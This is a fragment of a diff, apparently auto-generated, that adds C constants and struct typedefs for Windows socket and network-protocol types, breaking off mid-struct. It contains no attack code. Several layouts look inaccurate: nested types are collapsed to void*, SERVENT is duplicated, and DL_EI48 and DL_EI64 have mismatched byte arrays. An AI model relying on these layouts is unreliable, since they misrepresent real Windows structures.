CONTROL_CHANNEL_TRIGGER_STATUS_HARDWARE_SLOT_ALLOCATED 2 +#define CONTROL_CHANNEL_TRIGGER_STATUS_POLICY_ERROR 3 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SYSTEM_ERROR 4 +#define CONTROL_CHANNEL_TRIGGER_STATUS_TRANSPORT_DISCONNECTED 5 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SERVICE_UNAVAILABLE 6 +#define IpPrefixOriginOther 0 +#define IpPrefixOriginManual 1 +#define IpPrefixOriginWellKnown 2 +#define IpPrefixOriginDhcp 3 +#define IpPrefixOriginRouterAdvertisement 4 +#define IpPrefixOriginUnchanged 16 +#define NetworkCategoryPublic 0 +#define NetworkCategoryPrivate 1 +#define NetworkCategoryDomainAuthenticated 2 +#define NetworkCategoryUnchanged -1 +#define NetworkCategoryUnknown -1 +#define TCPSTATE_CLOSED 0 +#define TCPSTATE_LISTEN 1 +#define TCPSTATE_SYN_SENT 2 +#define TCPSTATE_SYN_RCVD 3 +#define TCPSTATE_ESTABLISHED 4 +#define TCPSTATE_FIN_WAIT_1 5 +#define TCPSTATE_FIN_WAIT_2 6 +#define TCPSTATE_CLOSE_WAIT 7 +#define TCPSTATE_CLOSING 8 +#define TCPSTATE_LAST_ACK 9 +#define TCPSTATE_TIME_WAIT 10 +#define TCPSTATE_MAX 11 +#define NSP_NOTIFY_IMMEDIATELY 0 +#define NSP_NOTIFY_HWND 1 +#define NSP_NOTIFY_EVENT 2 +#define NSP_NOTIFY_PORT 3 +#define NSP_NOTIFY_APC 4 +#define POLLRDNORM 256 +#define POLLRDBAND 512 +#define POLLIN 768 +#define POLLPRI 1024 +#define POLLWRNORM 16 +#define POLLOUT 16 +#define POLLWRBAND 32 +#define POLLERR 1 +#define POLLHUP 2 +#define POLLNVAL 4 +#define ICMP4_TIME_EXCEED_TRANSIT 0 +#define ICMP4_TIME_EXCEED_REASSEMBLY 1 +#define ScopeLevelInterface 1 +#define ScopeLevelLink 2 +#define ScopeLevelSubnet 3 +#define ScopeLevelAdmin 4 +#define ScopeLevelSite 5 +#define ScopeLevelOrganization 8 +#define ScopeLevelGlobal 14 +#define ScopeLevelCount 16 +#define SYSTEM_CRITICAL_SOCKET 1 +#define NlatUnspecified 0 +#define NlatUnicast 1 +#define NlatAnycast 2 +#define NlatMulticast 3 +#define NlatBroadcast 4 +#define NlatInvalid 5 +#define ICMP4_UNREACH_NET 0 +#define ICMP4_UNREACH_HOST 1 +#define ICMP4_UNREACH_PROTOCOL 2 +#define ICMP4_UNREACH_PORT 3 +#define ICMP4_UNREACH_FRAG_NEEDED 4 +#define ICMP4_UNREACH_SOURCEROUTE_FAILED 5 +#define ICMP4_UNREACH_NET_UNKNOWN 6 +#define ICMP4_UNREACH_HOST_UNKNOWN 7 +#define ICMP4_UNREACH_ISOLATED 8 +#define ICMP4_UNREACH_NET_ADMIN 9 +#define ICMP4_UNREACH_HOST_ADMIN 10 +#define ICMP4_UNREACH_NET_TOS 11 +#define ICMP4_UNREACH_HOST_TOS 12 +#define ICMP4_UNREACH_ADMIN 13 +#define AALTYPE_5 5 +#define AALTYPE_USER 16 + +typedef struct _WINDOWS_IRDA_DEVICE_INFO { + unsigned char irdaDeviceID[4]; + unsigned char irdaDeviceName[22]; + unsigned char irdaDeviceHints1; + unsigned char irdaDeviceHints2; + unsigned char irdaCharSet; +} WINDOWS_IRDA_DEVICE_INFO; + +typedef struct _IN_PKTINFO { + void* ipi_addr; + unsigned int ipi_ifindex; +} IN_PKTINFO; + +typedef struct _SERVENT { + void* s_name; + void* s_aliases; + void* s_proto; + short s_port; +} SERVENT; + +typedef struct _SERVENT { + void* s_name; + void* s_aliases; + short s_port; + void* s_proto; +} SERVENT; + +typedef struct _RIO_CMSG_BUFFER { + unsigned int TotalLength; +} RIO_CMSG_BUFFER; + +typedef struct _SOCKADDR_ATM { + unsigned short satm_family; + void* satm_number; + void* satm_blli; + void* satm_bhli; +} SOCKADDR_ATM; + +typedef struct _RIO_CQ { + long long Value; +} RIO_CQ; + +typedef struct _Q2931_IE { + void* IEType; + unsigned int IELength; + unsigned char IE[1]; +} Q2931_IE; + +typedef struct _TCP_INITIAL_RTO_PARAMETERS { + unsigned short Rtt; + unsigned char MaxSynRetransmissions; +} TCP_INITIAL_RTO_PARAMETERS; + +typedef struct _NS_INFOA { + unsigned int dwNameSpace; + unsigned int dwNameSpaceFlags; + void* lpNameSpace; +} NS_INFOA; + +typedef struct _SERVICE_INFOW { + void* lpServiceType; + void* lpServiceName; + void* lpComment; + void* lpLocale; + void* dwDisplayHint; + unsigned int dwVersion; + unsigned int dwTime; + void* lpMachineName; + void* lpServiceAddress; + void* ServiceSpecificInfo; +} SERVICE_INFOW; + +typedef struct _IPV6_ROUTER_ADVERTISEMENT_FLAGS { + void* Anonymous; + unsigned char Value; +} IPV6_ROUTER_ADVERTISEMENT_FLAGS; + +typedef struct _ND_OPTION_MTU { + unsigned char nd_opt_mtu_type; + unsigned char nd_opt_mtu_len; + unsigned short nd_opt_mtu_reserved; + unsigned int nd_opt_mtu_mtu; +} ND_OPTION_MTU; + +typedef struct _ATM_BROADBAND_BEARER_CAPABILITY_IE { + unsigned char BearerClass; + unsigned char TrafficType; + unsigned char TimingRequirements; + unsigned char ClippingSusceptability; + unsigned char UserPlaneConnectionConfig; +} ATM_BROADBAND_BEARER_CAPABILITY_IE; + +typedef struct _WSANETWORKEVENTS { + int lNetworkEvents; + int iErrorCode[10]; +} WSANETWORKEVENTS; + +typedef struct _SOCKET_SECURITY_SETTINGS_IPSEC { + void* SecurityProtocol; + unsigned int SecurityFlags; + unsigned int IpsecFlags; + void* AuthipMMPolicyKey; + void* AuthipQMPolicyKey; + void* Reserved; + unsigned long long Reserved2; + unsigned int UserNameStringLen; + unsigned int DomainNameStringLen; + unsigned int PasswordStringLen; + unsigned short AllStrings[1]; +} SOCKET_SECURITY_SETTINGS_IPSEC; + +typedef struct _TCP_ACK_FREQUENCY_PARAMETERS { + unsigned char TcpDelayedAckFrequency; +} TCP_ACK_FREQUENCY_PARAMETERS; + +typedef struct _MLDV2_QUERY_HEADER { + void* IcmpHeader; + void* Anonymous1; + unsigned short Reserved; + void* MulticastAddress; + unsigned char _bitfield; + void* Anonymous2; + unsigned short SourceCount; +} MLDV2_QUERY_HEADER; + +typedef struct _IPX_NETNUM_DATA { + unsigned char netnum[4]; + unsigned short hopcount; + unsigned short netdelay; + int cardnum; + unsigned char router[6]; +} IPX_NETNUM_DATA; + +typedef struct _TCP_OPT_MSS { + unsigned char Kind; + unsigned char Length; + unsigned short Mss; +} TCP_OPT_MSS; + +typedef struct _DL_EI48 { + unsigned char Byte[3]; +} DL_EI48; + +typedef struct _SOCKADDR_NB { + short snb_family; + unsigned short snb_type; + unsigned char snb_name[16]; +} SOCKADDR_NB; + +typedef struct _NL_PATH_BANDWIDTH_ROD { + unsigned long long Bandwidth; + unsigned long long Instability; + BOOL BandwidthPeaked; +} NL_PATH_BANDWIDTH_ROD; + +typedef struct _WSASENDMSG { + void* lpMsg; + unsigned int dwFlags; + void* lpNumberOfBytesSent; + void* lpOverlapped; + void* lpCompletionRoutine; +} WSASENDMSG; + +typedef struct _DL_EI64 { + unsigned char Byte[5]; +} DL_EI64; + +typedef struct _ATM_BLLI { + unsigned int Layer2Protocol; + unsigned int Layer2UserSpecifiedProtocol; + unsigned int Layer3Protocol; + unsigned int Layer3UserSpecifiedProtocol; + unsigned int Layer3IPI; + unsigned char SnapID[5]; +} ATM_BLLI; + +typedef struct _SOCKADDR_TP { + unsigned short tp_family; + unsigned short tp_addr_type; + unsigned short tp_taddr_len; + unsigned short tp_tsel_len; + unsigned char tp_addr[64]; +} SOCKADDR_TP; + +typedef struct _ICMPV4_ADDRESS_MASK_MESSAGE { + void* Header; + unsigned int AddressMask; +} ICMPV4_ADDRESS_MASK_MESSAGE; + +typedef struct _IGMPV3_REPORT_HEADER { + unsigned char Type; + unsigned char Reserved; + unsigned short Checksum; + unsigned short Reserved2; + unsigned short RecordCount; +} IGMPV3_REPORT_HEADER; + +typedef struct _IPV6_FRAGMENT_HEADER { + unsigned char NextHeader; + unsigned char Reserved; + void* Anonymous; + unsigned int Id; +} IPV6_FRAGMENT_HEADER; + +typedef struct _WSANSCLASSINFOW { + void* lpszName; + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValue; +} WSANSCLASSINFOW; + +typedef struct _ICMPV4_ROUTER_ADVERT_ENTRY { + void* RouterAdvertAddr; + int PreferenceLevel; +} ICMPV4_ROUTER_ADVERT_ENTRY; + +typedef struct _RSS_SCALABILITY_INFO { + BOOL RssEnabled; +} RSS_SCALABILITY_INFO; + +typedef struct _IN6_PKTINFO_EX { + void* pkt_info; + void* scope_id; +} IN6_PKTINFO_EX; + +typedef struct _SOCKET_ADDRESS { + void* lpSockaddr; + int iSockaddrLength; +} SOCKET_ADDRESS; + +typedef struct _tcp_keepalive { + unsigned int onoff; + unsigned int keepalivetime; + unsigned int keepaliveinterval; +} tcp_keepalive; + +typedef struct _WSANAMESPACE_INFOW { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; +} WSANAMESPACE_INFOW; + +typedef struct _HOSTENT { + void* h_name; + void* h_aliases; + short h_addrtype; + short h_length; + void* h_addr_list; +} HOSTENT; + +typedef struct _IPV6_MREQ { + void* ipv6mr_multiaddr; + unsigned int ipv6mr_interface; +} IPV6_MREQ; + +typedef struct _ADDRINFOA { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_next; +} ADDRINFOA; + +typedef struct _RM_SEND_WINDOW { + unsigned int RateKbitsPerSec; + unsigned int WindowSizeInMSecs; + unsigned int WindowSizeInBytes; +} RM_SEND_WINDOW; + +typedef struct _WSACOMPLETION { + void* Type; + void* Parameters; +} WSACOMPLETION; + +typedef struct _RIORESULT { + int Status; + unsigned int BytesTransferred; + unsigned long long SocketContext; + unsigned long long RequestContext; +} RIORESULT; + +typedef struct _sockaddr_in6_old { + short sin6_family; + unsigned short sin6_port; + unsigned int sin6_flowinfo; + void* sin6_addr; +} sockaddr_in6_old; + +typedef struct _SERVICE_TYPE_VALUE_ABSA { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + void* lpValueName; + void* lpValue; +} SERVICE_TYPE_VALUE_ABSA; + +typedef struct _ADDRINFOEX6 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; + unsigned int ai_numservers; + void* ai_servers; + unsigned long long ai_responseflags; +} ADDRINFOEX6; + +typedef struct _IPV4_ROUTING_HEADER { + void* OptionHeader; + unsigned char Pointer; +} IPV4_ROUTING_HEADER; + +typedef struct _TIMEVAL { + int tv_sec; + int tv_usec; +} TIMEVAL; + +typedef struct _IPV6_OPTION_ROUTER_ALERT { + void* Header; + unsigned char Value[2]; +} IPV6_OPTION_ROUTER_ALERT; + +typedef struct _ND_NEIGHBOR_ADVERT_HEADER { + void* nd_na_hdr; + void* nd_na_target; +} ND_NEIGHBOR_ADVERT_HEADER; + +typedef struct _TCP_HDR { + unsigned short th_sport; + unsigned short th_dport; + unsigned int th_seq; + unsigned int th_ack; + unsigned char _bitfield; + unsigned char th_flags; + unsigned short th_win; + unsigned short th_sum; + unsigned short th_urp; +} TCP_HDR; + +typedef struct _TCP_OPT_TS { + unsigned char Kind; + unsigned char Length; + unsigned int Val; + unsigned int EcR; +} TCP_OPT_TS; + +typedef struct _GROUP_FILTER { + unsigned int gf_interface; + void* gf_group; + void* gf_fmode; + unsigned int gf_numsrc; + void* gf_slist[1]; +} GROUP_FILTER; + +typedef struct _ICMP_MESSAGE { + void* Header; + void* Data; +} ICMP_MESSAGE; + +typedef struct _sockproto { + unsigned short sp_family; + unsigned short sp_protocol; +} sockproto; + +typedef struct _ATM_CALLING_PARTY_NUMBER_IE { + void* ATM_Number; + unsigned char Presentation_Indication; + unsigned char Screening_Indicator; +} ATM_CALLING_PARTY_NUMBER_IE; + +typedef struct _NS_SERVICE_INFOW { + unsigned int dwNameSpace; + void* ServiceInfo; +} NS_SERVICE_INFOW; + +typedef struct _IGMPV3_REPORT_RECORD_HEADER { + unsigned char Type; + unsigned char AuxillaryDataLength; + unsigned short SourceCount; + void* MulticastAddress; +} IGMPV3_REPORT_RECORD_HEADER; + +typedef struct _IPV6_NEIGHBOR_ADVERTISEMENT_FLAGS { + void* Anonymous; + unsigned int Value; +} IPV6_NEIGHBOR_ADVERTISEMENT_FLAGS; + +typedef struct _RIO_BUFFERID { + long long Value; +} RIO_BUFFERID; + +typedef struct _ADDRINFOW { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_next; +} ADDRINFOW; + +typedef struct _SOCKET_SECURITY_QUERY_INFO_IPSEC2 { + void* SecurityProtocol; + unsigned int Flags; + unsigned long long PeerApplicationAccessTokenHandle; + unsigned long long PeerMachineAccessTokenHandle; + unsigned long long MmSaId; + unsigned long long QmSaId; + unsigned int NegotiationWinerr; + void* SaLookupContext; +} SOCKET_SECURITY_QUERY_INFO_IPSEC2; + +typedef struct _ADDRINFOEXA { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; +} ADDRINFOEXA; + +typedef struct _GROUP_REQ { + unsigned int gr_interface; + void* gr_group; +} GROUP_REQ; + +typedef struct _RM_RECEIVER_STATS { + unsigned long long NumODataPacketsReceived; + unsigned long long NumRDataPacketsReceived; + unsigned long long NumDuplicateDataPackets; + unsigned long long DataBytesReceived; + unsigned long long TotalBytesReceived; + unsigned long long RateKBitsPerSecOverall; + unsigned long long RateKBitsPerSecLast; + unsigned long long TrailingEdgeSeqId; + unsigned long long LeadingEdgeSeqId; + unsigned long long AverageSequencesInWindow; + unsigned long long MinSequencesInWindow; + unsigned long long MaxSequencesInWindow; + unsigned long long FirstNakSequenceNumber; + unsigned long long NumPendingNaks; + unsigned long long NumOutstandingNaks; + unsigned long long NumDataPacketsBuffered; + unsigned long long TotalSelectiveNaksSent; + unsigned long long TotalParityNaksSent; +} RM_RECEIVER_STATS; + +typedef struct _NSP_ROUTINE { + unsigned int cbSize; + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; + void* NSPCleanup; + void* NSPLookupServiceBegin; + void* NSPLookupServiceNext; + void* NSPLookupServiceEnd; + void* NSPSetService; + void* NSPInstallServiceClass; + void* NSPRemoveServiceClass; + void* NSPGetServiceClassInfo; + void* NSPIoctl; +} NSP_ROUTINE; + +typedef struct _SOCKET_SECURITY_QUERY_TEMPLATE_IPSEC2 { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTokenAccessMask; + unsigned int Flags; + unsigned int FieldMask; +} SOCKET_SECURITY_QUERY_TEMPLATE_IPSEC2; + +typedef struct _TCP_OPT_WS { + unsigned char Kind; + unsigned char Length; + unsigned char ShiftCnt; +} TCP_OPT_WS; + +typedef struct _NPI_MODULEID { + unsigned short Length; + void* Type; + void* Anonymous; +} NPI_MODULEID; + +typedef struct _IP_MREQ { + void* imr_multiaddr; + void* imr_interface; +} IP_MREQ; + +typedef struct _IPV4_HEADER { + void* Anonymous1; + void* Anonymous2; + unsigned short TotalLength; + unsigned short Identification; + void* Anonymous3; + unsigned char TimeToLive; + unsigned char Protocol; + unsigned short HeaderChecksum; + void* SourceAddress; + void* DestinationAddress; +} IPV4_HEADER; + +typedef struct _ADDRINFOEXW { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; +} ADDRINFOEXW; + +typedef struct _TRANSMIT_FILE_BUFFERS { + void* Head; + unsigned int HeadLength; + void* Tail; + unsigned int TailLength; +} TRANSMIT_FILE_BUFFERS; + +typedef struct _ICMPV4_ROUTER_SOLICIT { + void* RsHeader; +} ICMPV4_ROUTER_SOLICIT; + +typedef struct _WSC_PROVIDER_AUDIT_INFO { + unsigned int RecordSize; + void* Reserved; +} WSC_PROVIDER_AUDIT_INFO; + +typedef struct _NETRESOURCE2W { + unsigned int dwScope; + unsigned int dwType; + unsigned int dwUsage; + unsigned int dwDisplayType; + void* lpLocalName; + void* lpRemoteName; + void* lpComment; + void* ns_info; + void* ServiceType; + unsigned int dwProtocols; + void* lpiProtocols; +} NETRESOURCE2W; + +typedef struct _MLDV2_REPORT_HEADER { + void* IcmpHeader; + unsigned short Reserved; + unsigned short RecordCount; +} MLDV2_REPORT_HEADER; + +typedef struct _SERVICE_TYPE_VALUE { + unsigned int dwNameSpace; + unsigned int dwValueType; + unsigned int dwValueSize; + unsigned int dwValueNameOffset; + unsigned int dwValueOffset; +} SERVICE_TYPE_VALUE; + +typedef struct _ICMPV4_TIMESTAMP_MESSAGE { + void* Header; + unsigned int OriginateTimestamp; + unsigned int ReceiveTimestamp; + unsigned int TransmitTimestamp; +} ICMPV4_TIMESTAMP_MESSAGE; + +typedef struct _SOCKADDR_STORAGE_XP { + short ss_family; + unsigned char __ss_pad1[6]; + long long __ss_align; + unsigned char __ss_pad2[112]; +} SOCKADDR_STORAGE_XP; + +typedef struct _AFPROTOCOLS { + int iAddressFamily; + int iProtocol; +} AFPROTOCOLS; + +typedef struct _IN_RECVERR { + void* protocol; + unsigned int info; + unsigned char type; + unsigned char code; +} IN_RECVERR; + +typedef struct _ND_NEIGHBOR_SOLICIT_HEADER { + void* nd_ns_hdr; + void* nd_ns_target; +} ND_NEIGHBOR_SOLICIT_HEADER; + +typedef struct _ATM_TRAFFIC_DESCRIPTOR_IE { + void* Forward; + void* Backward; + BOOL BestEffort; +} ATM_TRAFFIC_DESCRIPTOR_IE; + +typedef struct _ADDRINFOEX4 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; +} ADDRINFOEX4; + +typedef struct _SOCKET_SECURITY_SETTINGS { + void* SecurityProtocol; + unsigned int SecurityFlags; +} SOCKET_SECURITY_SETTINGS; + +typedef struct _WSAEVENT { + long long Value; +} WSAEVENT; + +typedef struct _IGMPV3_QUERY_HEADER { + unsigned char Type; + void* Anonymous1; + unsigned short Checksum; + void* MulticastAddress; + unsigned char _bitfield; + void* Anonymous2; + unsigned short SourceCount; +} IGMPV3_QUERY_HEADER; + +typedef struct _WSAQUERYSET2W { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSET2W; + +typedef struct _TRANSPORT_SETTING_ID { + void* Guid; +} TRANSPORT_SETTING_ID; + +typedef struct _ATM_TRANSIT_NETWORK_SELECTION_IE { + unsigned char TypeOfNetworkId; + unsigned char NetworkIdPlan; + unsigned char NetworkIdLength; + unsigned char NetworkId[1]; +} ATM_TRANSIT_NETWORK_SELECTION_IE; + +typedef struct _WSAPOLLDATA { + int result; + unsigned int fds; + int timeout; + void* fdArray[1]; +} WSAPOLLDATA; + +typedef struct _ATM_PVC_PARAMS { + void* PvcConnectionId; + void* PvcQos; +} ATM_PVC_PARAMS; + +typedef struct _SOCKADDR_IN { + void* sin_family; + unsigned short sin_port; + void* sin_addr; + unsigned char sin_zero[8]; +} SOCKADDR_IN; + +typedef struct _WSAPROTOCOL_INFOA { + unsigned int dwServiceFlags1; + unsigned int dwServiceFlags2; + unsigned int dwServiceFlags3; + unsigned int dwServiceFlags4; + unsigned int dwProviderFlags; + void* ProviderId; + unsigned int dwCatalogEntryId; + void* ProtocolChain; + int iVersion; + int iAddressFamily; + int iMaxSockAddr; + int iMinSockAddr; + int iSocketType; + int iProtocol; + int iProtocolMaxOffset; + int iNetworkByteOrder; + int iSecurityScheme; + unsigned int dwMessageSize; + unsigned int dwProviderReserved; + unsigned char szProtocol[256]; +} WSAPROTOCOL_INFOA; + +typedef struct _SERVICE_TYPE_INFO { + unsigned int dwTypeNameOffset; + unsigned int dwValueCount; + void* Values[1]; +} SERVICE_TYPE_INFO; + +typedef struct _INET_PORT_RESERVATION_INFORMATION { + unsigned int OwningPid; +} INET_PORT_RESERVATION_INFORMATION; + +typedef struct _NETRESOURCE2A { + unsigned int dwScope; + unsigned int dwType; + unsigned int dwUsage; + unsigned int dwDisplayType; + void* lpLocalName; + void* lpRemoteName; + void* lpComment; + void* ns_info; + void* ServiceType; + unsigned int dwProtocols; + void* lpiProtocols; +} NETRESOURCE2A; + +typedef struct _NL_INTERFACE_OFFLOAD_ROD { + unsigned char _bitfield; +} NL_INTERFACE_OFFLOAD_ROD; + +typedef struct _SERVICE_ADDRESSES { + unsigned int dwAddressCount; + void* Addresses[1]; +} SERVICE_ADDRESSES; + +typedef struct _IPV6_HEADER { + void* Anonymous; + unsigned short PayloadLength; + unsigned char NextHeader; + unsigned char HopLimit; + void* SourceAddress; + void* DestinationAddress; +} IPV6_HEADER; + +typedef struct _IPV6_OPTION_JUMBOGRAM { + void* Header; + unsigned char JumbogramLength[4]; +} IPV6_OPTION_JUMBOGRAM; + +typedef struct _ND_OPTION_DNSSL { + unsigned char nd_opt_dnssl_type; + unsigned char nd_opt_dnssl_len; + unsigned short nd_opt_dnssl_reserved; + unsigned int nd_opt_dnssl_lifetime; +} ND_OPTION_DNSSL; + +typedef struct _ND_OPTION_PREF64 { + unsigned char nd_opt_p64_type; + unsigned char nd_opt_p64_len; + void* Anonymous; + unsigned char nd_opt_p64_prefix[12]; +} ND_OPTION_PREF64; + +typedef struct _GROUP_SOURCE_REQ { + unsigned int gsr_interface; + void* gsr_group; + void* gsr_source; +} GROUP_SOURCE_REQ; + +typedef struct _TRANSMIT_PACKETS_ELEMENT { + unsigned int dwElFlags; + unsigned int cLength; + void* Anonymous; +} TRANSMIT_PACKETS_ELEMENT; + +typedef struct _ADDRINFOEX5 { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; + int ai_interfaceindex; + void* ai_resolutionhandle; + unsigned int ai_ttl; +} ADDRINFOEX5; + +typedef struct _SOCKADDR_STORAGE { + void* ss_family; + unsigned char __ss_pad1[6]; + long long __ss_align; + unsigned char __ss_pad2[112]; +} SOCKADDR_STORAGE; + +typedef struct _SERVICE_TYPE_INFO_ABSA { + void* lpTypeName; + unsigned int dwValueCount; + void* Values[1]; +} SERVICE_TYPE_INFO_ABSA; + +typedef struct _SOCK_NOTIFY_REGISTRATION { + void* socket; + void* completionKey; + unsigned short eventFilter; + unsigned char operation; + unsigned char triggerFlags; + unsigned int registrationResult; +} SOCK_NOTIFY_REGISTRATION; + +typedef struct _WSAQUERYSET2A { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSET2A; + +typedef struct _LINGER { + unsigned short l_onoff; + unsigned short l_linger; +} LINGER; + +typedef struct _ETHERNET_HEADER { + void* Destination; + void* Source; + void* Anonymous; +} ETHERNET_HEADER; + +typedef struct _ND_OPTION_HDR { + unsigned char nd_opt_type; + unsigned char nd_opt_len; +} ND_OPTION_HDR; + +typedef struct _REAL_TIME_NOTIFICATION_SETTING_INPUT_EX { + void* TransportSettingId; + void* BrokerEventGuid; + BOOL Unmark; +} REAL_TIME_NOTIFICATION_SETTING_INPUT_EX; + +typedef struct _TCP_OPT_SACK { + unsigned char Kind; + unsigned char Length; + void* Block[1]; +} TCP_OPT_SACK; + +typedef struct _ATM_CAUSE_IE { + unsigned char Location; + unsigned char Cause; + unsigned char DiagnosticsLength; + unsigned char Diagnostics[4]; +} ATM_CAUSE_IE; + +typedef struct _LM_IRPARMS { + unsigned int nTXDataBytes; + unsigned int nRXDataBytes; + unsigned int nBaudRate; + unsigned int thresholdTime; + unsigned int discTime; + unsigned short nMSLinkTurn; + unsigned char nTXPackets; + unsigned char nRXPackets; +} LM_IRPARMS; + +typedef struct _INTERFACE_INFO_EX { + unsigned int iiFlags; + void* iiAddress; + void* iiBroadcastAddress; + void* iiNetmask; +} INTERFACE_INFO_EX; + +typedef struct _FD_SET { + unsigned int fd_count; + void* fd_array[64]; +} FD_SET; + +typedef struct _FLOWSPEC { + unsigned int TokenRate; + unsigned int TokenBucketSize; + unsigned int PeakBandwidth; + unsigned int Latency; + unsigned int DelayVariation; + unsigned int ServiceType; + unsigned int MaxSduSize; + unsigned int MinimumPolicedSize; +} FLOWSPEC; + +typedef struct _IPX_SPXCONNSTATUS_DATA { + unsigned char ConnectionState; + unsigned char WatchDogActive; + unsigned short LocalConnectionId; + unsigned short RemoteConnectionId; + unsigned short LocalSequenceNumber; + unsigned short LocalAckNumber; + unsigned short LocalAllocNumber; + unsigned short RemoteAckNumber; + unsigned short RemoteAllocNumber; + unsigned short LocalSocket; + unsigned char ImmediateAddress[6]; + unsigned char RemoteNetwork[4]; + unsigned char RemoteNode[6]; + unsigned short RemoteSocket; + unsigned short RetransmissionCount; + unsigned short EstimatedRoundTripDelay; + unsigned short RetransmittedPackets; + unsigned short SuppressedPacket; +} IPX_SPXCONNSTATUS_DATA; + +typedef struct _VLAN_TAG { + void* Anonymous; + unsigned short Type; +} VLAN_TAG; + +typedef struct _INTERFACE_INFO { + unsigned int iiFlags; + void* iiAddress; + void* iiBroadcastAddress; + void* iiNetmask; +} INTERFACE_INFO; + +typedef struct _SOCKET_SECURITY_QUERY_TEMPLATE { + void* SecurityProtocol; + void* PeerAddress; + unsigned int PeerTokenAccessMask; +} SOCKET_SECURITY_QUERY_TEMPLATE; + +typedef struct _RM_SENDER_STATS { + unsigned long long DataBytesSent; + unsigned long long TotalBytesSent; + unsigned long long NaksReceived; + unsigned long long NaksReceivedTooLate; + unsigned long long NumOutstandingNaks; + unsigned long long NumNaksAfterRData; + unsigned long long RepairPacketsSent; + unsigned long long BufferSpaceAvailable; + unsigned long long TrailingEdgeSeqId; + unsigned long long LeadingEdgeSeqId; + unsigned long long RateKBitsPerSecOverall; + unsigned long long RateKBitsPerSecLast; + unsigned long long TotalODataPacketsSent; +} RM_SENDER_STATS; + +typedef struct _WSPUPCALLTABLE { + void* lpWPUCloseEvent; + void* lpWPUCloseSocketHandle; + void* lpWPUCreateEvent; + void* lpWPUCreateSocketHandle; + void* lpWPUFDIsSet; + void* lpWPUGetProviderPath; + void* lpWPUModifyIFSHandle; + void* lpWPUPostMessage; + void* lpWPUQueryBlockingCallback; + void* lpWPUQuerySocketHandleContext; + void* lpWPUQueueApc; + void* lpWPUResetEvent; + void* lpWPUSetEvent; + void* lpWPUOpenCurrentThread; + void* lpWPUCloseThread; +} WSPUPCALLTABLE; + +typedef struct _TCP_OPT_SACK_PERMITTED { + unsigned char Kind; + unsigned char Length; +} TCP_OPT_SACK_PERMITTED; + +typedef struct _DL_TEREDO_ADDRESS_PRV { + unsigned char Reserved[6]; + void* Anonymous; +} DL_TEREDO_ADDRESS_PRV; + +typedef struct _IPV6_OPTION_HEADER { + unsigned char Type; + unsigned char DataLength; +} IPV6_OPTION_HEADER; + +typedef struct _WCE_DEVICELIST { + unsigned int numDevice; + void* Device[1]; +} WCE_DEVICELIST; + +typedef struct _IPV6_ROUTING_HEADER { + unsigned char NextHeader; + unsigned char Length; + unsigned char RoutingType; + unsigned char SegmentsLeft; + unsigned char Reserved[4]; +} IPV6_ROUTING_HEADER; + +typedef struct _ND_OPTION_ROUTE_INFO { + unsigned char nd_opt_ri_type; + unsigned char nd_opt_ri_len; + unsigned char nd_opt_ri_prefix_len; + void* Anonymous; + unsigned int nd_opt_ri_route_lifetime; + void* nd_opt_ri_prefix; +} ND_OPTION_ROUTE_INFO; + +typedef struct _RCVALL_IF { + void* Mode; + unsigned int Interface; +} RCVALL_IF; + +typedef struct _MLDV2_REPORT_RECORD_HEADER { + unsigned char Type; + unsigned char AuxillaryDataLength; + unsigned short SourceCount; + void* MulticastAddress; +} MLDV2_REPORT_RECORD_HEADER; + +typedef struct _WSPPROC_TABLE { + void* lpWSPAccept; + void* lpWSPAddressToString; + void* lpWSPAsyncSelect; + void* lpWSPBind; + void* lpWSPCancelBlockingCall; + void* lpWSPCleanup; + void* lpWSPCloseSocket; + void* lpWSPConnect; + void* lpWSPDuplicateSocket; + void* lpWSPEnumNetworkEvents; + void* lpWSPEventSelect; + void* lpWSPGetOverlappedResult; + void* lpWSPGetPeerName; + void* lpWSPGetSockName; + void* lpWSPGetSockOpt; + void* lpWSPGetQOSByName; + void* 